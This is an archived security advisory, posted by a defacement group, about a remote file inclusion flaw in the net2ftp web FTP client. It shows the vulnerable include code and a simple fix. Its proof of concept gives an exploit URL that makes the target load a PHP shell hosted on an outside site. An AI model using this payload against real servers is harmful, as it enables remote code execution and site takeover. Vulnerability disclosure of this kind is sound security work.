AOH :: HP Unsorted N :: B06-4935.HTM

net2ftp: a web based FTP client :) <= Remote File Inclusion



net2ftp: a web based FTP client :) <= Remote File Inclusion
net2ftp: a web based FTP client :) <= Remote File Inclusion



+--------------------------------------------------------------------=0D
+=0D
+ net2ftp: a web based FTP client :)  <= Remote File Inclusion=0D
+=0D
+--------------------------------------------------------------------=0D
+=0D
+ Affected Software .: net2ftp: a web based FTP client=0D
+ Venedor ...........: http://www.net2ftp.com=0D 
+ Class .............: Remote File Inclusion=0D
+ Risk ..............: high (Remote File Execution)=0D
+ Found by ..........: rUnViRuS=0D
+ Original advisory .: http://www.wdzone.net/ http://www.worlddefacers.de/ =0D 
+ Contact ...........: stormhacker[at]hotmail[.]com=0D
+=0D
+--------------------------------------------------------------------=0D
+=0D
+ Code index.php:=0D
+=0D
+ .....=0D
+ equire_once($application_rootdir . "/includes/authorizations.inc.php");=0D
+ require_once($application_rootdir . "/includes/bookmark.inc.php");=0D
+ require_once($application_rootdir . "/includes/browse.inc.php");=0D
+ require_once($application_rootdir . "/includes/database.inc.php");=0D
+ .....=0D
+=0D
+--------------------------------------------------------------------=0D
+=0D
+ $application_rootdir is not properly sanitized before being used.=0D
+ The bug is in the "net2ftp" Package for net2ftp.=0D
+=0D
+--------------------------------------------------------------------=0D
+=0D
+ Solution:=0D
+ Add this line to your php-file:=0D
+=0D
+ $application_rootdir ="user/dir" //Your root path=0D
+=0D
+--------------------------------------------------------------------=0D
+ PoC:=0D
+ Place a PHPShell on a remote location:=0D
+ http://wdzone.net/sh.txt?=0D 
+=0D
+=0D
http://[target]/index.php?application_rootdir=http://phpshell=0D 
+=0D
+--------------------------------------------------------------------=0D
+ [W]orld [D]efacers [T]eam=0D
+ Greets:=0D
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BlackWHITE ||=0D
+ || Pro Hacker ||=0D
+=0D
+-------------------------[ W D T ]----------------------------------=0D

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.